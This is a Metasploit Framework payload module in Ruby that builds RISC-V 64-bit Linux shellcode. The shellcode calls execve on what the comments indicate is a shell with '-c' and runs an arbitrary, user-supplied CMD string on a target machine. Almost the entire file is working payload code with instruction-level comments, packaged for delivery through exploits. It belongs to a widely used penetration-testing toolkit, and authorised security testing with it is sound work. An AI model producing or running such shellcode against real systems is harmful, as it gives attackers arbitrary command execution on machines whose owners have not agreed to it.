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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 100
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Execute Command',
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        'Description' => 'Execute an arbitrary command',
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        'Author' => [
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          'modexp', # cmd.s execve RISC-V 64-bit shellcode
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          'bcoles', # metasploit
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        ],
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        'License' => BSD_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_RISCV64LE,
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        'References' => [
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          ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
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          ['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],
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        ]
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      )
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    )
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    register_options([
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      OptString.new('CMD', [ true, 'The command string to execute' ]),
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    ])
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    datastore['CMD'] || ''
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  end
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  def generate(_opts = {})
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    shellcode =
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      [0xfc010113].pack('V*') +  # addi sp,sp,-64
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      [0x0dd00893].pack('V*') +  # li a7,221
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      [0x34399537].pack('V*') +  # lui a0,0x34399
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      [0x7b75051b].pack('V*') +  # addiw a0,a0,1975
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      [0x00c51513].pack('V*') +  # slli a0,a0,0xc
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      [0x34b50513].pack('V*') +  # addi a0,a0,843 # 3439934b <__global_pointer$+0x343879a3>
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      [0x00d51513].pack('V*') +  # slli a0,a0,0xd
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      [0x22f50513].pack('V*') +  # addi a0,a0,559
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      [0x00a13023].pack('V*') +  # sd a0,0(sp)
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      [0x00010513].pack('V*') +  # mv a0,sp
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      [0x000065b7].pack('V*') +  # lui a1,0x6
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      [0x32d5859b].pack('V*') +  # addiw a1,a1,813
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      [0x00b13423].pack('V*') +  # sd a1,8(sp)
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      [0x00810593].pack('V*') +  # addi a1,sp,8
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      [0x00000617].pack('V*') +  # auipc a2,0x0
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      [0x02460613].pack('V*') +  # addi a2,a2,36 # 100d4 <cmd>
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      [0x00a13823].pack('V*') +  # sd a0,16(sp)
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      [0x00b13c23].pack('V*') +  # sd a1,24(sp)
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      [0x02c13023].pack('V*') +  # sd a2,32(sp)
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      [0x02013423].pack('V*') +  # sd zero,40(sp)
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      [0x01010593].pack('V*') +  # addi a1,sp,16
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      [0x00000613].pack('V*') +  # li a2,0
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      [0x00000073].pack('V*') +  # ecall
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      command_string + "\x00"
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    # align our shellcode to 4 bytes
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    shellcode += "\x00" while shellcode.bytesize % 4 != 0
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    super.to_s + shellcode
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  end
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end
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